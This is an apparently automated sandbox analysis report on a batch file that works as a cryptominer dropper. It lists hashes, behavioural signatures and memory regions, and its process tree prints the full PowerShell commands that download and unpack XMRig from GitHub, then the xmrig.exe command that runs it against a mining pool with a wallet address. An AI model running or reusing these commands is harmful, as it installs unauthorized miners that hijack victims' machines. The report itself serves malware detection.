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Analysis

  • max time kernel
    1797s
  • max time network
    1812s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3424
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2872
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:920

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    1e2ded2587b6a08b79bf1b418cfe7059

    SHA1

    6a6953a2ec27a46c4f332cf1dc96842e35a0d69b

    SHA256

    86250554984e463c2987321a79c985f610549ec878aae4f92aa6e764eba226d7

    SHA512

    48a299abf80bdace2d92aedcaac1a12e5f6245eb521f2137a634c57890d3ffdb185ac6c6085960341cc992eb90ade6dc020ab4a1bf661e6fa776941e8eb6802c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_foed3vt5.r0p.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    230KB

    MD5

    88eafe878476aac0156f908de3636462

    SHA1

    2e178802eff31ae8fe5e575b62ca58307753247d

    SHA256

    b73d97ccde0f31ffd9a63710f0e80c2ea737d058b2ca897642efcc54ce64ec54

    SHA512

    b3072687f37f8bcf0ba379a7b86fb11f29a66b94fde3b96d85f9f016da4f39a280d6265fbcc8ab656f8bab0b680fd4b260ec3f787bf55a5bb1d527c5aa770991

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    121KB

    MD5

    00e8f8db6a501ca92d9b7a6cbe10b92a

    SHA1

    540c3935bf83efdc2edfba9b4e6604b1d9230413

    SHA256

    4c0966393480eaeaa2a49ff5129046ca69a9315039558a1e124a336809c94e44

    SHA512

    1dd0508e9d60ef75468257c8ba8371a3e1f7e257c938851059bc1da5635a4128fd725320098aa8d1397564f9ae2dd57e28f8f522b9a7bb966a2ebc59d76d6ac7

  • memory/920-141-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-169-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-184-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-183-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-182-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-181-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-180-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-179-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-178-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-177-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-176-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-175-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-174-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-116-0x000002AC58C50000-0x000002AC58C70000-memory.dmp

    Filesize

    128KB

  • memory/920-173-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-117-0x000002ACEC740000-0x000002ACEC780000-memory.dmp

    Filesize

    256KB

  • memory/920-118-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-119-0x000002ACECBA0000-0x000002ACECBC0000-memory.dmp

    Filesize

    128KB

  • memory/920-120-0x000002ACECDE0000-0x000002ACECE00000-memory.dmp

    Filesize

    128KB

  • memory/920-121-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-122-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-124-0x000002ACECDE0000-0x000002ACECE00000-memory.dmp

    Filesize

    128KB

  • memory/920-123-0x000002ACECBA0000-0x000002ACECBC0000-memory.dmp

    Filesize

    128KB

  • memory/920-125-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-126-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-127-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-128-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-129-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-130-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-131-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-132-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-133-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-134-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-135-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-136-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-137-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-138-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-139-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-140-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-172-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-171-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-144-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-142-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-145-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-146-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-147-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-148-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-149-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-150-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-151-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-152-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-153-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-154-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-155-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-156-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-157-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-158-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-159-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-160-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-161-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-162-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-163-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-164-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-165-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-166-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-167-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-168-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-143-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/920-170-0x00007FF71A0C0000-0x00007FF71ABC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2872-89-0x000002AA66740000-0x000002AA6674A000-memory.dmp

    Filesize

    40KB

  • memory/2872-36-0x00007FFDCDA80000-0x00007FFDCE46C000-memory.dmp

    Filesize

    9.9MB

  • memory/2872-38-0x000002AA66490000-0x000002AA664A0000-memory.dmp

    Filesize

    64KB

  • memory/2872-113-0x00007FFDCDA80000-0x00007FFDCE46C000-memory.dmp

    Filesize

    9.9MB

  • memory/2872-76-0x000002AA668E0000-0x000002AA668F2000-memory.dmp

    Filesize

    72KB

  • memory/2872-37-0x000002AA66490000-0x000002AA664A0000-memory.dmp

    Filesize

    64KB

  • memory/2872-63-0x000002AA66490000-0x000002AA664A0000-memory.dmp

    Filesize

    64KB

  • memory/3424-25-0x000002DF0A7B0000-0x000002DF0A7C0000-memory.dmp

    Filesize

    64KB

  • memory/3424-30-0x00007FFDCDA80000-0x00007FFDCE46C000-memory.dmp

    Filesize

    9.9MB

  • memory/3424-4-0x000002DF0ACC0000-0x000002DF0ACE2000-memory.dmp

    Filesize

    136KB

  • memory/3424-10-0x000002DF23000000-0x000002DF23076000-memory.dmp

    Filesize

    472KB

  • memory/3424-8-0x000002DF0A7B0000-0x000002DF0A7C0000-memory.dmp

    Filesize

    64KB

  • memory/3424-9-0x000002DF0A7B0000-0x000002DF0A7C0000-memory.dmp

    Filesize

    64KB

  • memory/3424-6-0x00007FFDCDA80000-0x00007FFDCE46C000-memory.dmp

    Filesize

    9.9MB